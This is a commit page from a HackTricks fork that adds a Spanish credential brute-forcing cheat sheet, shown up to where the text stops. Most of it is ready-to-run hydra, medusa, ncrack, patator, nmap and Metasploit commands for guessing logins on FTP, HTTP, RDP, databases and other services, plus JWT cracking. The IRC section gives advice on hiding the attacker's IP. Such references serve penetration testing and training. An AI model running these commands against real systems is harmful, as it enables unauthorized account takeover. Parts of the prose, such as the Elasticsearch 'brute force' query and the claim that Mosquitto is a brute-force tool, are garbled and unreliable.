coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

f

Browse Source
This commit is contained in:
carlospolop 2023-06-05 20:52:52 +02:00
parent 93a83d9cb7
commit 161584511a
14 changed files with 2090 additions and 2580 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
SUMMARY.md
View File

@ -47,16 +47,11 @@
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
* [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
* [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
* [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
* [venv](generic-methodologies-and-resources/python/venv.md)
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
* [LOAD\_NAME / LOAD\_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load\_name-load\_const-opcode-oob-read.md)
* [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md)
* [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
* [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
* [Exfiltration](generic-methodologies-and-resources/exfiltration.md)
* [Tunneling and Port Forwarding](generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
* [Search Exploits](generic-methodologies-and-resources/search-exploits.md)
## 🐧 Linux Hardening

937
generic-methodologies-and-resources/brute-force.md Normal file
View File

@ -0,0 +1,937 @@
# Fuerza Bruta - Hoja de trucos
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Credenciales predeterminadas
**Busque en Google** las credenciales predeterminadas de la tecnología que se está utilizando, o **pruebe estos enlaces**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Crea tus propios diccionarios**
Encuentre tanta información sobre el objetivo como pueda y genere un diccionario personalizado. Herramientas que pueden ayudar:
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl es una herramienta que se utiliza para crear listas de palabras a partir de un sitio web o de un archivo de texto. Es muy útil para la realización de ataques de fuerza bruta, ya que permite crear listas de palabras personalizadas basadas en el contenido del sitio web objetivo.
Para utilizar Cewl, simplemente se debe ejecutar el comando `cewl` seguido de la URL del sitio web o del archivo de texto que se desea analizar. La herramienta buscará todas las palabras en el sitio web o archivo de texto y las agregará a una lista de palabras personalizada.
Una vez que se ha creado la lista de palabras personalizada, se puede utilizar en herramientas de fuerza bruta como Hydra o Medusa para intentar adivinar las contraseñas de los usuarios. También se puede utilizar para realizar ataques de phishing, ya que permite crear listas de palabras personalizadas basadas en el contenido de un sitio web de phishing.
Es importante tener en cuenta que el uso de Cewl para crear listas de palabras personalizadas puede ser ilegal si se utiliza para realizar ataques sin autorización. Por lo tanto, se debe utilizar con precaución y siempre con el permiso del propietario del sitio web o del archivo de texto.
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
Genera contraseñas basadas en tu conocimiento sobre la víctima (nombres, fechas...)
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Wister es una herramienta generadora de listas de palabras que te permite suministrar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación a un objetivo específico.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### Listas de palabras
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://google/fuzzing/tree/master/dictionaries**](https://google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Servicios
Ordenados alfabéticamente por nombre de servicio.
### AFP
```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```
### AJP
El Protocolo de Conector de Java Avanzado (AJP) es un protocolo de red utilizado por los servidores web para comunicarse con los servidores de aplicaciones. A menudo se utiliza en entornos de servidor web de alta carga para mejorar el rendimiento y la escalabilidad.
Los atacantes pueden utilizar la técnica de fuerza bruta para intentar adivinar las credenciales de inicio de sesión de AJP. Esto se puede hacer utilizando herramientas como Hydra o Patator. También es posible buscar vulnerabilidades conocidas en el servidor AJP, como la exposición de información sensible o la ejecución remota de código.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
### Cassandra
Cassandra es una base de datos distribuida altamente escalable y tolerante a fallos. Es utilizada por muchas empresas para almacenar grandes cantidades de datos en múltiples servidores. Debido a su arquitectura distribuida, Cassandra es resistente a los fallos de hardware y software, lo que la hace muy confiable. Sin embargo, esto también la hace vulnerable a los ataques de fuerza bruta.
La forma más común de realizar un ataque de fuerza bruta en Cassandra es intentar adivinar la contraseña de un usuario con acceso a la base de datos. Esto se puede hacer utilizando herramientas como Hydra o Medusa, que intentan diferentes combinaciones de nombres de usuario y contraseñas hasta que encuentran una que funcione.
Para evitar un ataque de fuerza bruta en Cassandra, es importante utilizar contraseñas seguras y complejas, y limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta. También se pueden utilizar herramientas de monitoreo de seguridad para detectar y prevenir intentos de inicio de sesión malintencionados.
```bash
nmap --script cassandra-brute -p 9160 <IP>
```
### CouchDB
CouchDB es una base de datos NoSQL que utiliza JSON para almacenar datos. Es muy popular en aplicaciones web y móviles debido a su capacidad para sincronizar datos entre dispositivos.
#### Fuerza bruta en CouchDB
CouchDB tiene una API RESTful que permite a los usuarios realizar operaciones CRUD en la base de datos. Esto significa que es posible realizar ataques de fuerza bruta contra la API para intentar adivinar las credenciales de inicio de sesión de un usuario.
Para realizar un ataque de fuerza bruta en CouchDB, se puede utilizar una herramienta como Hydra o Burp Suite. El objetivo es enviar solicitudes HTTP POST a la API de CouchDB con diferentes combinaciones de nombres de usuario y contraseñas hasta que se encuentre una combinación válida.
Es importante tener en cuenta que CouchDB tiene una función de límite de velocidad incorporada que limita el número de solicitudes que se pueden enviar en un período de tiempo determinado. Por lo tanto, es posible que se necesite ajustar la velocidad del ataque para evitar que se bloquee la cuenta del usuario o se detecte el ataque.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Registro de Docker
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
Elasticsearch es un motor de búsqueda y análisis de datos distribuido y de código abierto. Es utilizado por muchas empresas para indexar y buscar grandes cantidades de datos. Elasticsearch utiliza una API RESTful y JSON para interactuar con los datos.
#### Fuerza bruta
La fuerza bruta en Elasticsearch se puede realizar utilizando la API RESTful. La API de Elasticsearch tiene una ruta llamada `_search` que se puede utilizar para buscar datos. La ruta `_search` acepta una consulta JSON que se utiliza para buscar datos.
Para realizar un ataque de fuerza bruta en Elasticsearch, se puede enviar una consulta JSON que contenga una lista de contraseñas. La consulta debe estar estructurada de tal manera que intente cada contraseña en la lista hasta que se encuentre la correcta.
Un ejemplo de consulta JSON para un ataque de fuerza bruta en Elasticsearch se muestra a continuación:
```
POST /index/_search
{
"query": {
"bool": {
"should": [
{ "match": { "password": "password1" } },
{ "match": { "password": "password2" } },
{ "match": { "password": "password3" } }
]
}
}
}
```
En este ejemplo, la consulta intentará las contraseñas "password1", "password2" y "password3" en el campo "password" del índice "index". Si se encuentra la contraseña correcta, Elasticsearch devolverá los datos correspondientes.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
El Protocolo de Transferencia de Archivos (FTP, por sus siglas en inglés) es un protocolo de red utilizado para la transferencia de archivos de un host a otro a través de una red TCP basada en IP. FTP utiliza un modelo cliente-servidor para la transferencia de archivos y requiere autenticación para acceder a los archivos. Los ataques de fuerza bruta contra FTP implican intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
```
### Fuerza Bruta Genérica HTTP
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### Autenticación Básica HTTP
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
```
### HTTP - Enviar formulario mediante POST
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
El Protocolo de Acceso a Mensajes de Internet (IMAP) es un protocolo de correo electrónico utilizado para recibir correos electrónicos de un servidor de correo electrónico. IMAP permite a los usuarios acceder a sus correos electrónicos desde cualquier dispositivo y mantenerlos sincronizados. Los servidores de correo electrónico IMAP suelen tener medidas de seguridad para evitar ataques de fuerza bruta, como limitar el número de intentos de inicio de sesión y bloquear direcciones IP después de varios intentos fallidos. Sin embargo, si se encuentra una vulnerabilidad en el servidor, un atacante podría intentar un ataque de fuerza bruta para obtener acceso no autorizado a una cuenta de correo electrónico.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
```
### IRC
IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real utilizado principalmente para la comunicación en grupo. Los canales de IRC son salas de chat virtuales donde los usuarios pueden comunicarse entre sí. Los canales de IRC son muy populares en la comunidad de hacking y se utilizan a menudo para discutir temas relacionados con la seguridad informática.
El brute force en IRC se puede realizar mediante el uso de herramientas como Hydra o Medusa. Estas herramientas pueden ser utilizadas para probar contraseñas en un servidor de IRC. También es posible realizar ataques de diccionario utilizando listas de contraseñas comunes.
Es importante tener en cuenta que el brute force en IRC puede ser detectado fácilmente por los administradores del servidor. Por lo tanto, se recomienda utilizar técnicas de evasión, como el uso de proxies o VPNs, para ocultar la dirección IP del atacante.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### ISCSI
iSCSI (Internet Small Computer System Interface) es un protocolo de red que permite a los dispositivos de almacenamiento de datos conectarse a través de una red IP. Esto permite que los dispositivos de almacenamiento se compartan entre múltiples servidores y aplicaciones.
Los ataques de fuerza bruta contra iSCSI pueden ser utilizados para intentar adivinar las credenciales de autenticación de un dispositivo de almacenamiento iSCSI. Esto puede permitir a un atacante acceder a los datos almacenados en el dispositivo.
Para llevar a cabo un ataque de fuerza bruta contra iSCSI, se puede utilizar una herramienta como `iscsi-brute`. Esta herramienta intentará adivinar las credenciales de autenticación utilizando una lista de posibles nombres de usuario y contraseñas.
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad, por lo que es importante utilizar técnicas de evasión para evitar la detección.
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
### JWT
JWT (JSON Web Token) es un estándar abierto (RFC 7519) que define un formato compacto y autónomo para transmitir información de forma segura entre partes como un objeto JSON. Esta información puede ser verificada y confiada porque está firmada digitalmente. Los JWT se utilizan a menudo para la autenticación y la autorización en aplicaciones web y móviles.
Un JWT consta de tres partes separadas por puntos: el encabezado, la carga útil y la firma. El encabezado especifica el tipo de token y el algoritmo de firma utilizado. La carga útil contiene la información que se va a transmitir, como el nombre de usuario y los permisos de acceso. La firma se utiliza para verificar la integridad del token y garantizar que no ha sido manipulado.
Los JWT son vulnerables a los ataques de fuerza bruta si se utilizan algoritmos de firma débiles o si las claves secretas son demasiado cortas o predecibles. Es importante utilizar algoritmos de firma fuertes y claves secretas aleatorias y seguras para proteger los JWT. Además, es recomendable utilizar medidas de seguridad adicionales, como la limitación de intentos de inicio de sesión y la detección de patrones de comportamiento sospechosos.
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
LDAP (Protocolo Ligero de Acceso a Directorios) es un protocolo de red utilizado para acceder y mantener información de directorios distribuidos. Es comúnmente utilizado para autenticación y autorización en sistemas de red.
#### Ataque de fuerza bruta
El ataque de fuerza bruta en LDAP implica intentar adivinar las credenciales de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este ataque puede ser automatizado utilizando herramientas como Hydra o Patator.
Para llevar a cabo un ataque de fuerza bruta en LDAP, primero se necesita una lista de posibles nombres de usuario y contraseñas. Estas listas pueden ser creadas utilizando herramientas como CeWL o Crunch.
Una vez que se tiene la lista de posibles credenciales, se puede utilizar una herramienta de fuerza bruta para probar cada combinación hasta que se encuentre una que funcione. Es importante tener en cuenta que algunos servidores LDAP pueden tener medidas de seguridad en su lugar para prevenir ataques de fuerza bruta, como la limitación del número de intentos de inicio de sesión permitidos antes de bloquear la cuenta.
```bash
nmap --script ldap-brute -p 389 <IP>
```
### MQTT
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos IoT (Internet de las cosas) con ancho de banda limitado y conexiones inestables. MQTT utiliza un modelo de publicación/suscripción en el que los clientes se suscriben a temas (topics) y reciben mensajes publicados en esos temas.
Los ataques de fuerza bruta contra MQTT pueden ser utilizados para obtener credenciales de acceso a dispositivos IoT y a sistemas de control industrial. Los atacantes pueden utilizar herramientas como Mosquito, que es un servidor MQTT de código abierto, para realizar ataques de fuerza bruta contra dispositivos IoT y sistemas de control industrial que utilizan MQTT.
Para protegerse contra los ataques de fuerza bruta en MQTT, se recomienda utilizar contraseñas fuertes y cambiarlas regularmente. También se recomienda utilizar certificados SSL/TLS para cifrar las comunicaciones MQTT y limitar el acceso a los dispositivos IoT y sistemas de control industrial a través de firewalls y otros mecanismos de seguridad.
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
```
### Mongo
Mongo es una base de datos NoSQL muy popular que se utiliza en muchos proyectos. A menudo, los desarrolladores no configuran adecuadamente la seguridad de Mongo, lo que puede permitir a los atacantes acceder a la base de datos y robar información confidencial. Una técnica común utilizada para atacar Mongo es la fuerza bruta, que implica probar diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar la correcta. Para evitar esto, es importante asegurarse de que se han tomado medidas adecuadas para proteger la base de datos, como la configuración de contraseñas seguras y la limitación del acceso a la base de datos solo a usuarios autorizados.
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
```
### MySQL
MySQL es un sistema de gestión de bases de datos relacional de código abierto. Es ampliamente utilizado en aplicaciones web y es compatible con muchos lenguajes de programación. MySQL utiliza una combinación de nombre de usuario y contraseña para autenticar a los usuarios y proporciona una variedad de herramientas de seguridad para proteger los datos almacenados en la base de datos.
#### Fuerza bruta
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos MySQL. Consiste en probar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentra una que funcione. Los atacantes pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta en una base de datos MySQL.
Para protegerse contra los ataques de fuerza bruta, se recomienda utilizar contraseñas seguras y complejas que contengan una combinación de letras, números y caracteres especiales. También se recomienda limitar el número de intentos de inicio de sesión fallidos antes de bloquear temporalmente la cuenta del usuario. Además, se pueden utilizar herramientas de detección de intrusos para detectar y bloquear automáticamente los intentos de inicio de sesión malintencionados.
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
```
### OracleSQL
OracleSQL es un lenguaje de programación utilizado para administrar y manipular bases de datos Oracle. Es comúnmente utilizado en aplicaciones empresariales y es una herramienta importante para los hackers que buscan acceder a información confidencial almacenada en bases de datos Oracle. Los ataques de fuerza bruta son comunes en OracleSQL y pueden ser utilizados para descubrir contraseñas débiles o vulnerabilidades en la seguridad de la base de datos. Es importante que los administradores de bases de datos tomen medidas para proteger sus sistemas contra estos ataques, como la implementación de políticas de contraseñas fuertes y la limitación del acceso a la base de datos solo a usuarios autorizados.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
```
Para utilizar **oracle\_login** con **patator** necesitas **instalar**:
```bash
pip3 install cx_Oracle --upgrade
```
Fuerza bruta de hash OracleSQL offline (versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
POP (Post Office Protocol) es un protocolo utilizado para la recuperación de correo electrónico desde un servidor remoto. POP3 es la versión más utilizada actualmente. Los ataques de fuerza bruta contra servidores POP3 son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
```
### PostgreSQL
PostgreSQL es un sistema de gestión de bases de datos relacional de código abierto y gratuito. Es muy utilizado en aplicaciones web y móviles, y es compatible con una amplia variedad de lenguajes de programación. PostgreSQL es conocido por su seguridad y estabilidad, y es una opción popular para aplicaciones empresariales críticas.
#### Fuerza bruta en PostgreSQL
La fuerza bruta en PostgreSQL se puede realizar mediante ataques de diccionario o mediante ataques de fuerza bruta puros. Los ataques de diccionario implican el uso de una lista de palabras comunes para adivinar contraseñas, mientras que los ataques de fuerza bruta puros implican probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
Para evitar ataques de fuerza bruta en PostgreSQL, se pueden tomar medidas como limitar el número de intentos de inicio de sesión, utilizar contraseñas seguras y utilizar autenticación de dos factores. También es importante mantener PostgreSQL actualizado con las últimas correcciones de seguridad.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
```
### PPTP
Puedes descargar el paquete `.deb` para instalar desde [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
```
### RDP
El Protocolo de Escritorio Remoto (RDP, por sus siglas en inglés) es un protocolo de red desarrollado por Microsoft que permite a los usuarios conectarse a un equipo remoto y utilizarlo como si estuvieran sentados frente a él. Los ataques de fuerza bruta contra RDP son comunes y pueden ser muy efectivos si se utilizan contraseñas débiles. Es importante asegurarse de que las contraseñas utilizadas para las conexiones RDP sean lo suficientemente fuertes y se cambien regularmente para evitar ataques exitosos.
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
```
### Redis
Redis es una base de datos en memoria que se utiliza a menudo como caché y almacén de datos. Es muy popular en aplicaciones web y móviles debido a su alta velocidad y escalabilidad. Sin embargo, Redis también es vulnerable a ataques de fuerza bruta si no se configura correctamente.
Hay varias herramientas de fuerza bruta disponibles para Redis, como `redis-cli`, `redis-brute`, `redis-rdb-crack` y `redis-password-cracker`. Estas herramientas pueden probar contraseñas comunes o diccionarios de contraseñas contra una instancia de Redis para intentar obtener acceso no autorizado.
Para protegerse contra los ataques de fuerza bruta en Redis, es importante seguir las mejores prácticas de seguridad, como cambiar la contraseña predeterminada, limitar el acceso a la instancia de Redis y utilizar una lista blanca de direcciones IP autorizadas. También se recomienda utilizar una herramienta de monitoreo de seguridad para detectar y prevenir los ataques de fuerza bruta.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
```
### Rexec
Rexec es un protocolo de red que permite a un usuario ejecutar comandos en un sistema remoto. Es similar a Telnet, pero se utiliza principalmente para ejecutar comandos en sistemas Unix. Rexec utiliza el puerto 512 y no proporciona cifrado, lo que lo hace vulnerable a ataques de sniffing. Los atacantes pueden utilizar herramientas de fuerza bruta para adivinar las credenciales de inicio de sesión y obtener acceso no autorizado al sistema remoto. Es importante utilizar contraseñas seguras y autenticación de dos factores para protegerse contra ataques de fuerza bruta.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
El protocolo Rlogin es un protocolo de red que proporciona acceso remoto a un shell de Unix. Es similar a Telnet, pero no proporciona cifrado de datos, lo que lo hace menos seguro. El protocolo Rlogin utiliza el puerto 513/tcp.
El ataque de fuerza bruta contra Rlogin implica intentar adivinar las credenciales de inicio de sesión de un usuario mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Es importante tener en cuenta que este ataque es ilegal y puede tener graves consecuencias legales.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
